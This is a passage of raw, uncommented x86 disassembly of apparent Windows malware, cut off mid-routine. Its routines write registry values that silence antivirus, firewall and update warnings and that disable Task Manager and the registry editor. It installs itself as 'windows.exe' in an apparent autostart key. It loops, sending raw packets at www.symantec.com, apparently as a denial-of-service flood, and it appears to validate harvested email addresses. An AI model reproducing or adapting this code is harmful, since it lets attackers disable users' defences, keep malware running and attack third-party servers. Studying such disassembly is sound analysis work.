"Software\\Policies\\Microsoft\\Windows\\Win"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aAuoptions ; "AUOptions" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3859 jmp short loc_4A387B ; --------------------------------------------------------------------------- loc_4A3859: ; CODE XREF: sub_4A37FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A387B: ; CODE XREF: sub_4A37FF+58j mov esp, ebp pop ebp retn sub_4A37FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A387F proc near ; CODE XREF: sub_4A3EDE+35p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePoli_1 ; "Software\\Policies\\Microsoft\\Windows\\Win"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aAuoptions ; "AUOptions" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A38D9 jmp short loc_4A38FB ; --------------------------------------------------------------------------- loc_4A38D9: ; CODE XREF: sub_4A387F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A38FB: ; CODE XREF: sub_4A387F+58j mov esp, ebp pop ebp retn sub_4A387F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A38FF proc near ; CODE XREF: sub_4A3EDE+3Ap var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aFirewalldisabl ; "FirewallDisableNotify" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3959 jmp short loc_4A397B ; --------------------------------------------------------------------------- loc_4A3959: ; CODE XREF: sub_4A38FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A397B: ; CODE XREF: sub_4A38FF+58j mov esp, ebp pop ebp retn sub_4A38FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A397F proc near ; CODE XREF: sub_4A3EDE+3Fp var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aFirewalldisabl ; "FirewallDisableNotify" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A39D9 jmp short loc_4A39FB ; --------------------------------------------------------------------------- loc_4A39D9: ; CODE XREF: sub_4A397F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A39FB: ; CODE XREF: sub_4A397F+58j mov esp, ebp pop ebp retn sub_4A397F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A39FF proc near ; CODE XREF: sub_4A3EDE+44p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aUpdatesdisable ; "UpdatesDisableNotify" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3A59 jmp short loc_4A3A7B ; --------------------------------------------------------------------------- loc_4A3A59: ; CODE XREF: sub_4A39FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3A7B: ; CODE XREF: sub_4A39FF+58j mov esp, ebp pop ebp retn sub_4A39FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3A7F proc near ; CODE XREF: sub_4A3EDE+49p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aUpdatesdisable ; "UpdatesDisableNotify" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A3AD9 jmp short loc_4A3AFB ; --------------------------------------------------------------------------- loc_4A3AD9: ; CODE XREF: sub_4A3A7F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3AFB: ; CODE XREF: sub_4A3A7F+58j mov esp, ebp pop ebp retn sub_4A3A7F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0A8h mov dword ptr [ebp-4], 1 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" lea eax, [ebp-0A8h] push eax call dword_4A112C add esp, 8 push offset aAntivirusdisab ; "AntiVirusDisableNotify" lea ecx, [ebp-24h] push ecx call dword_4A112C add esp, 8 lea edx, [ebp-28h] push edx push 20006h push 0 lea eax, [ebp-0A8h] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3B59 jmp short loc_4A3B7B ; --------------------------------------------------------------------------- loc_4A3B59: ; CODE XREF: MEW:004A3B55j push 4 lea ecx, [ebp-4] push ecx push 4 push 0 lea edx, [ebp-24h] push edx mov eax, [ebp-28h] push eax call dword_4A1008 mov ecx, [ebp-28h] push ecx call dword_4A100C loc_4A3B7B: ; CODE XREF: MEW:004A3B57j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3B7F proc near ; CODE XREF: sub_4A3EDE+4Ep var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aAntivirusdisab ; "AntiVirusDisableNotify" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A3BD9 jmp short loc_4A3BFB ; --------------------------------------------------------------------------- loc_4A3BD9: ; CODE XREF: sub_4A3B7F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3BFB: ; CODE XREF: sub_4A3B7F+58j mov esp, ebp pop ebp retn sub_4A3B7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3BFF proc near ; CODE XREF: sub_4A3EDE+53p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aDisabletaskmgr ; "DisableTaskMgr" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A3C59 jmp short loc_4A3C7B ; --------------------------------------------------------------------------- loc_4A3C59: ; CODE XREF: sub_4A3BFF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3C7B: ; CODE XREF: sub_4A3BFF+58j mov esp, ebp pop ebp retn sub_4A3BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3C7F proc near ; CODE XREF: sub_4A3EDE+58p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aDisabletaskmgr ; "DisableTaskMgr" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3CD9 jmp short loc_4A3CFB ; --------------------------------------------------------------------------- loc_4A3CD9: ; CODE XREF: sub_4A3C7F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3CFB: ; CODE XREF: sub_4A3C7F+58j mov esp, ebp pop ebp retn sub_4A3C7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3CFF proc near ; CODE XREF: sub_4A3EDE+5Dp var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aDisableregistr ; "DisableRegistryTools" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A3D59 jmp short loc_4A3D7B ; --------------------------------------------------------------------------- loc_4A3D59: ; CODE XREF: sub_4A3CFF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3D7B: ; CODE XREF: sub_4A3CFF+58j mov esp, ebp pop ebp retn sub_4A3CFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3D7F proc near ; CODE XREF: sub_4A3EDE+62p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aDisableregistr ; "DisableRegistryTools" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3DD9 jmp short loc_4A3DFB ; --------------------------------------------------------------------------- loc_4A3DD9: ; CODE XREF: sub_4A3D7F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A3DFB: ; CODE XREF: sub_4A3D7F+58j mov esp, ebp pop ebp retn sub_4A3D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3DFF proc near ; CODE XREF: sub_4A3EDE+67p var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch var_188 = byte ptr -188h var_124 = byte ptr -124h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_104] push eax call dword_4A1078 push 104h push offset aWindows_exe ; "\\windows.exe" lea ecx, [ebp+var_104] push ecx call dword_4A1110 add esp, 0Ch push offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... lea edx, [ebp+var_20C] push edx call dword_4A112C add esp, 8 push offset aWin ; "WIN" lea eax, [ebp+var_124] push eax call dword_4A112C add esp, 8 lea ecx, [ebp+var_104] push ecx lea edx, [ebp+var_188] push edx call dword_4A112C add esp, 8 lea eax, [ebp+var_18C] push eax push 20006h push 0 lea ecx, [ebp+var_20C] push ecx push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3E9B jmp short loc_4A3EDA ; --------------------------------------------------------------------------- loc_4A3E9B: ; CODE XREF: sub_4A3DFF+98j lea edx, [ebp+var_188] push edx call sub_4A8910 add esp, 4 add eax, 1 push eax lea eax, [ebp+var_188] push eax push 1 push 0 lea ecx, [ebp+var_124] push ecx mov edx, [ebp+var_18C] push edx call dword_4A1008 mov eax, [ebp+var_18C] push eax call dword_4A100C loc_4A3EDA: ; CODE XREF: sub_4A3DFF+9Aj mov esp, ebp pop ebp retn sub_4A3DFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3EDE proc near ; CODE XREF: MEW:004A3264p push ebp mov ebp, esp call sub_4A3320 call sub_4A33FF call sub_4A347F call sub_4A34FF call sub_4A357F call sub_4A35FF call sub_4A367F call sub_4A36FF call sub_4A377F call sub_4A37FF call sub_4A387F call sub_4A38FF call sub_4A397F call sub_4A39FF call sub_4A3A7F call sub_4A3B7F call sub_4A3BFF call sub_4A3C7F call sub_4A3CFF call sub_4A3D7F call sub_4A3DFF pop ebp retn sub_4A3EDE endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 loc_4A3F5B: ; CODE XREF: MEW:004A3F83j cmp dword ptr [ebp+0Ch], 1 jle short loc_4A3F85 mov eax, [ebp+8] xor ecx, ecx mov cx, [eax] mov edx, [ebp-4] add edx, ecx mov [ebp-4], edx mov eax, [ebp+8] add eax, 2 mov [ebp+8], eax mov ecx, [ebp+0Ch] sub ecx, 2 mov [ebp+0Ch], ecx jmp short loc_4A3F5B ; --------------------------------------------------------------------------- loc_4A3F85: ; CODE XREF: MEW:004A3F5Fj cmp dword ptr [ebp+0Ch], 0 jz short loc_4A3F9A mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx loc_4A3F9A: ; CODE XREF: MEW:004A3F89j mov edx, [ebp-4] shr edx, 10h mov eax, [ebp-4] and eax, 0FFFFh add edx, eax mov [ebp-4], edx mov ecx, [ebp-4] shr ecx, 10h mov edx, [ebp-4] add edx, ecx mov [ebp-4], edx mov eax, [ebp-4] not eax mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3FC4 proc near ; CODE XREF: sub_4A42B6:loc_4A42B9p var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = word ptr -2ACh var_2AA = word ptr -2AAh var_2A8 = dword ptr -2A8h var_29C = byte ptr -29Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = byte ptr -230h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_64 = byte ptr -64h push ebp mov ebp, esp sub esp, 2B4h push esi push edi loc_4A3FCF: ; CODE XREF: sub_4A3FC4+27j push 0 push offset dword_4A8988 call dword_4A1134 test eax, eax jnz short loc_4A3FED push 4E20h call dword_4A1084 jmp short loc_4A3FCF ; --------------------------------------------------------------------------- loc_4A3FED: ; CODE XREF: sub_4A3FC4+1Aj mov [ebp+var_A0], 0 mov ecx, 0Eh xor eax, eax lea edi, [ebp+var_9F] rep stosd stosw stosb push offset aWww_symantec_c ; "www.symantec.com" lea eax, [ebp+var_29C] push eax call dword_4A10AC add esp, 8 push offset a86400 ; "86400" lea ecx, [ebp+var_64] push ecx call dword_4A10AC add esp, 8 lea edx, [ebp+var_230] push edx push 202h call sub_4A88EC test eax, eax jz short loc_4A4049 xor eax, eax jmp loc_4A4254 ; --------------------------------------------------------------------------- loc_4A4049: ; CODE XREF: sub_4A3FC4+7Cj push 0FFh push 3 push 2 call sub_4A88E6 mov [ebp+var_238], eax cmp [ebp+var_238], 0FFFFFFFFh jnz short loc_4A406D xor eax, eax jmp loc_4A4254 ; --------------------------------------------------------------------------- loc_4A406D: ; CODE XREF: sub_4A3FC4+A0j mov [ebp+var_234], 1 push 4 lea eax, [ebp+var_234] push eax push 2 push 0 mov ecx, [ebp+var_238] push ecx call sub_4A88E0 cmp eax, 0FFFFFFFFh jnz short loc_4A409C xor eax, eax jmp loc_4A4254 ; --------------------------------------------------------------------------- loc_4A409C: ; CODE XREF: sub_4A3FC4+CFj push 10h push 0 lea edx, [ebp+var_2AC] push edx call sub_4A890A add esp, 0Ch mov [ebp+var_2AC], 2 push 0 call sub_4A88DA mov [ebp+var_2AA], ax lea eax, [ebp+var_29C] push eax call sub_4A425A add esp, 4 mov [ebp+var_2A8], eax mov [ebp+var_2B4], 0 call dword_4A1064 mov [ebp+var_2B0], eax loc_4A40F1: ; CODE XREF: sub_4A3FC4+27Dj call dword_4A1064 sub eax, [ebp+var_2B0] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea edx, [ebp+var_64] push edx call dword_4A109C add esp, 4 cmp esi, eax ja loc_4A4246 mov byte_4A8990, 45h push 41Ch call sub_4A88DA mov word_4A8992, ax mov word_4A8994, 1 mov word_4A8996, 0 mov byte_4A8998, 80h mov byte_4A8999, 1 mov word_4A899A, 0 call dword_4A1064 imul eax, 73E47h push eax call sub_4A88D4 mov dword_4A899C, eax mov eax, [ebp+var_2A8] mov dword_4A89A0, eax call dword_4A1114 and eax, 800000FFh jns short loc_4A4193 dec eax or eax, 0FFFFFF00h inc eax loc_4A4193: ; CODE XREF: sub_4A3FC4+1C6j mov byte_4A89A4, al call dword_4A1114 and eax, 800000FFh jns short loc_4A41AC dec eax or eax, 0FFFFFF00h inc eax loc_4A41AC: ; CODE XREF: sub_4A3FC4+1DFj mov byte_4A89A5, al call dword_4A1114 cdq mov ecx, 0F0h idiv ecx add edx, 1 mov word_4A89A8, dx mov word_4A89A6, 0 mov word_4A89AA, 1 push 400h call dword_4A1114 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4A89AC call sub_4A890A add esp, 0Ch push 10h lea edx, [ebp+var_2AC] push edx push 0 push 41Ch push offset byte_4A8990 mov eax, [ebp+var_238] push eax call sub_4A88CE cmp eax, 0FFFFFFFFh jnz short loc_4A4232 mov ecx, [ebp+var_238] push ecx call sub_4A88C8 xor eax, eax jmp short loc_4A4254 ; --------------------------------------------------------------------------- loc_4A4232: ; CODE XREF: sub_4A3FC4+25Cj mov edx, [ebp+var_2B4] add edx, 1 mov [ebp+var_2B4], edx jmp loc_4A40F1 ; --------------------------------------------------------------------------- loc_4A4246: ; CODE XREF: sub_4A3FC4+153j mov eax, [ebp+var_238] push eax call sub_4A88C8 xor eax, eax loc_4A4254: ; CODE XREF: sub_4A3FC4+80j ; sub_4A3FC4+A4j ... pop edi pop esi mov esp, ebp pop ebp retn sub_4A3FC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A425A proc near ; CODE XREF: sub_4A3FC4+109p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] push eax call sub_4A88F8 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_4A4283 cmp [ebp+var_4], 0 jnz short loc_4A42A2 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 30h jz short loc_4A42A2 loc_4A4283: ; CODE XREF: sub_4A425A+16j mov eax, [ebp+arg_0] push eax call sub_4A88F2 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4A42A2 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] mov eax, [edx] mov ecx, [eax] mov [ebp+var_4], ecx loc_4A42A2: ; CODE XREF: sub_4A425A+1Cj ; sub_4A425A+27j ... cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4A42AF mov [ebp+var_4], 0 loc_4A42AF: ; CODE XREF: sub_4A425A+4Cj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4A425A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4A42B6 proc near ; DATA XREF: MEW:004A32CAo push ebp mov ebp, esp loc_4A42B9: ; CODE XREF: sub_4A42B6+8j call sub_4A3FC4 jmp short loc_4A42B9 sub_4A42B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A42C0 proc near ; CODE XREF: sub_4A488F+31Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4A42D6 ; --------------------------------------------------------------------------- loc_4A42CD: ; CODE XREF: sub_4A42C0:loc_4A4301j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4A42D6: ; CODE XREF: sub_4A42C0+Bj mov ecx, [ebp+var_4] cmp off_4A11B0[ecx*4], 0 jz short loc_4A4303 mov edx, [ebp+var_4] mov eax, off_4A11B0[edx*4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4A10A8 add esp, 8 test eax, eax jz short loc_4A4301 jmp short loc_4A4327 ; --------------------------------------------------------------------------- loc_4A4301: ; CODE XREF: sub_4A42C0+3Dj jmp short loc_4A42CD ; --------------------------------------------------------------------------- loc_4A4303: ; CODE XREF: sub_4A42C0+21j push offset a__0 ; "." mov edx, [ebp+arg_0] push edx call dword_4A10A8 add esp, 8 test eax, eax jnz short loc_4A431B jmp short loc_4A4327 ; --------------------------------------------------------------------------- loc_4A431B: ; CODE XREF: sub_4A42C0+57j mov eax, [ebp+arg_0] push eax call sub_4A4379 add esp, 4 loc_4A4327: ; CODE XREF: sub_4A42C0+3Fj ; sub_4A42C0+59j mov esp, ebp pop ebp retn sub_4A42C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A432B proc near ; CODE XREF: sub_4A5012+35Bp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_4A6DA0 add esp, 4 pop ebp retn sub_4A432B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_4A433F: ; CODE XREF: MEW:004A4360j mov eax, [ebp+8] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4A4362 mov edx, [ebp+8] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+0Ch] cmp eax, ecx jz short loc_4A4362 mov edx, [ebp+8] add edx, 1 mov [ebp+8], edx jmp short loc_4A433F ; --------------------------------------------------------------------------- loc_4A4362: ; CODE XREF: MEW:004A4347j ; MEW:004A4355j mov eax, [ebp+8] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp+0Ch] sub eax, ecx neg eax sbb eax, eax not eax and eax, [ebp+8] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4379 proc near ; CODE XREF: sub_4A42C0+5Fp var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h push esi mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4A4397 mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A4397: ; CODE XREF: sub_4A4379+12j mov dword_4A8DB0, 0 mov dword_4A8DAC, 0 jmp short loc_4A43BC ; --------------------------------------------------------------------------- loc_4A43AD: ; CODE XREF: sub_4A4379:loc_4A43ECj mov edx, dword_4A8DB0 add edx, 1 mov dword_4A8DB0, edx loc_4A43BC: ; CODE XREF: sub_4A4379+32j mov eax, [ebp+arg_0] add eax, dword_4A8DB0 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4A43EE mov edx, [ebp+arg_0] add edx, dword_4A8DB0 movsx eax, byte ptr [edx] cmp eax, 40h jnz short loc_4A43EC mov ecx, dword_4A8DAC add ecx, 1 mov dword_4A8DAC, ecx loc_4A43EC: ; CODE XREF: sub_4A4379+62j jmp short loc_4A43AD ; --------------------------------------------------------------------------- loc_4A43EE: ; CODE XREF: sub_4A4379+51j cmp dword_4A8DAC, 1 jz short loc_4A4401 mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A4401: ; CODE XREF: sub_4A4379+7Cj mov edx, [ebp+arg_0] push edx call dword_4A1060 mov dword_4A8DB0, eax jmp short loc_4A441F ; --------------------------------------------------------------------------- loc_4A4412: ; CODE XREF: sub_4A4379:loc_4A4458j mov eax, dword_4A8DB0 sub eax, 1 mov dword_4A8DB0, eax loc_4A441F: ; CODE XREF: sub_4A4379+97j cmp dword_4A8DB0, 0 jle short loc_4A445A mov ecx, [ebp+arg_0] add ecx, dword_4A8DB0 movsx edx, byte ptr [ecx-1] cmp edx, 2Eh jnz short loc_4A443C jmp short loc_4A445A ; --------------------------------------------------------------------------- loc_4A443C: ; CODE XREF: sub_4A4379+BFj mov eax, [ebp+arg_0] add eax, dword_4A8DB0 movsx ecx, byte ptr [eax-1] cmp ecx, 40h jnz short loc_4A4458 mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A4458: ; CODE XREF: sub_4A4379+D3j jmp short loc_4A4412 ; --------------------------------------------------------------------------- loc_4A445A: ; CODE XREF: sub_4A4379+ADj ; sub_4A4379+C1j cmp dword_4A8DB0, 0 jnz short loc_4A446D mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A446D: ; CODE XREF: sub_4A4379+E8j mov edx, [ebp+arg_0] push edx call dword_4A1060 sub eax, dword_4A8DB0 add eax, 1 mov dword_4A8FBC, eax cmp dword_4A8FBC, 2 jl short loc_4A4497 cmp dword_4A8FBC, 4 jle short loc_4A44A1 loc_4A4497: ; CODE XREF: sub_4A4379+113j mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A44A1: ; CODE XREF: sub_4A4379+11Cj push offset byte_4A8EBC push offset byte_4A8DB8 mov eax, [ebp+arg_0] push eax call sub_4A479A add esp, 0Ch push offset byte_4A8DB8 call dword_4A1060 mov dword_4A8DB0, eax cmp dword_4A8DB0, 2 jl short loc_4A44D9 cmp dword_4A8DB0, 18h jle short loc_4A44E3 loc_4A44D9: ; CODE XREF: sub_4A4379+155j mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A44E3: ; CODE XREF: sub_4A4379+15Ej push offset byte_4A8EBC call dword_4A1060 mov dword_4A8DB0, eax cmp dword_4A8DB0, 6 jl short loc_4A4505 cmp dword_4A8DB0, 2Ah jle short loc_4A450F loc_4A4505: ; CODE XREF: sub_4A4379+181j mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A450F: ; CODE XREF: sub_4A4379+18Aj push offset byte_4A8EBC call dword_4A1060 sub eax, 1 mov dword_4A8DB0, eax jmp short loc_4A4533 ; --------------------------------------------------------------------------- loc_4A4524: ; CODE XREF: sub_4A4379:loc_4A456Aj mov ecx, dword_4A8DB0 sub ecx, 1 mov dword_4A8DB0, ecx loc_4A4533: ; CODE XREF: sub_4A4379+1A9j cmp dword_4A8DB0, 0 jle short loc_4A456C mov edx, dword_4A8DB0 movsx eax, byte_4A8EBC[edx] cmp eax, 2Eh jnz short loc_4A456A mov ecx, dword_4A8DB0 movsx edx, byte_4A8EBB[ecx] cmp edx, 2Eh jnz short loc_4A456A mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A456A: ; CODE XREF: sub_4A4379+1D3j ; sub_4A4379+1E5j jmp short loc_4A4524 ; --------------------------------------------------------------------------- loc_4A456C: ; CODE XREF: sub_4A4379+1C1j mov dword_4A8DB0, 0 mov dword_4A8DAC, 0 jmp short loc_4A458F ; --------------------------------------------------------------------------- loc_4A4582: ; CODE XREF: 